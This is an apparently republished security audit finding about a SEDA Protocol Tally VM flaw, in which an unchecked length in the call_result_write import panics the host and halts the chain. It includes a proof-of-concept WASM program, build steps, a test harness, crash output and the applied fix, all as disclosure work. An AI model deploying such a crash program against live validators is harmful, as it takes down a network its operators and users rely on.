Anyone can crash validators with a Tally VM program that panics the call_result_write import
The Tally VM's call_result_write import allows a user-supplied length to cause an out-of-range index access, panicking the host. An attacker can deploy a malicious WASM program that triggers this panic, crashing all validators and halting the chain.
Source: https://github.com/sherlock-audit/2024-12-seda-protocol-judging/issues/247
Found by
g
Summary
The Tally VM comes with imports that serve as a bridge between the host and the VM. These imports are run in the host environment.
When an import panics, it crashes the host, which causes the validator node to crash. The call_result_write import can be used
to trigger an out-of-range index access and panic. Since the tally programs are executed from the Tally module's Endblock(), every
validator will crash when the described program is executed, which leads to a chain halt.
Root Cause
In the imported call_result_write function, the user can pass an arbitrary result_data_length. As long as result_data_length is a value
greater than the length of ctx.call_result_value, the host environment will panic due to out-of-range index access.
fn call_result_value(
env: FunctionEnvMut<'_, VmContext>,
result_data_ptr: WasmPtr<u8>,
result_data_length: u32,
) -> Result<()> {
let ctx = env.data();
let memory = ctx.memory_view(&env);
let target = result_data_ptr.slice(&memory, result_data_length)?;
let call_value = ctx.call_result_value.read();
for index in 0..result_data_length {
// @audit call_value[index] will panic when index is out of range. The user can easily trigger this.
target.index(index as u64).write(call_value[index as usize])?;
}
Ok(())
}
The length of the default value of ctx.call_result_value is 0.
Internal Pre-conditions
None
External Pre-conditions
None
Attack Path
- The Attacker (anyone) create a WASM program that exploits the vulnerability in the
call_result_writeimport. - The Attacker then compiles the WASM program and deploys the binary via
StoreOracleProgram(). - The Attacker posts a Data Request that will execute their earlier deployed Tally Program.
- Once the Data Request is for tallying, it will be processed in the Tally module's
EndBlock(). - When executing the Attacker's Tally Program, it panics and crashes all the validators that run it. This causes a chain halt.
Impact
All validators that execute the Attacker's Tally program will crash and the SEDA Chain will halt.
PoC
The following WASM program will crash the host environment for the Tally VM.
#[link(wasm_import_module = "seda_v1")]
extern "C" {
pub fn call_result_write(result: *const u8, result_length: u32);
}
fn main() {
unsafe {
call_result_write(result.as_ptr(), 1 as u32);
}
}
To compile and run the above program, do the following:
- Create the following
Cargo.toml.
[package]
name = "attack"
version = "0.1.0"
edition = "2021"
[[bin]]
name = "attack"
path = "src/main.rs"
- Run the following CLI commands.
$ rustup target add wasm32-wasi
$ cargo build --target wasm32-wasi
- Copy the output WASM file into the seda-wasm-vm directory. For example:
// This assumes we are in the root of the Cargo project we just created
$ cp target/wasm32-wasi/debug/attack.wasm ../seda-wasm-vm
- Add the below test to
libtallyvm/src/lib.rs:
#[test]
fn execute_attack() {
let wasm_bytes = include_bytes!("../../attack.wasm");
let mut envs: BTreeMap<String, String> = BTreeMap::new();
envs.insert("VM_MODE".to_string(), "dr".to_string());
envs.insert(DEFAULT_GAS_LIMIT_ENV_VAR.to_string(), "300000000000000".to_string());
let tempdir = std::env::temp_dir();
let result = _execute_tally_vm(
&tempdir,
wasm_bytes.to_vec(),
vec![],
envs,
)
.unwrap();
println!("Result: {:?}", result);
}
- Run the test with
cargo test execute_attack.
The test will crash with the following logs:
thread 'test::execute_sleepy' panicked at runtime/core/src/core_vm_imports/call_result.rs:42:56:
index out of bounds: the len is 0 but the index is 0
Mitigation
Consider changing the method of writing to call_result_value to something like:
let mut call_value = ctx.call_result_value.write();
call_value.extend_from_slice(&target);
Discussion
sherlock-admin2
The protocol team fixed this issue in the following PRs/commits: https://github.com/sedaprotocol/seda-wasm-vm/pull/66
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The call_result_write import does not validate that the requested result_data_length is within the bounds of the stored call_result_value, leading to an out-of-range index access and panic.
Impact
All validators that execute the malicious Tally program will crash, causing the SEDA Chain to halt.
What the attacker needed
Ability to deploy a WASM program; ability to post a Data Request
The fix
The protocol team fixed this issue by changing the method of writing to call_result_value to use extend_from_slice instead of indexing.
How it was found
- Create a WASM program that calls call_result_write with a length larger than the default call_result_value length.
- Compile the WASM program and deploy it via StoreOracleProgram().
- Post a Data Request that will execute the deployed Tally Program.
- When the Data Request is tallied, the Tally module's EndBlock() executes the program, causing a panic and crashing all validators.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A blockchain validator runs programs submitted by users. If a program can make the validator's software crash, the whole network can stop. Here, a specific function that copies data from the host to the program did not check the length properly, so a malicious program could cause a crash.
What is DoS?
A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.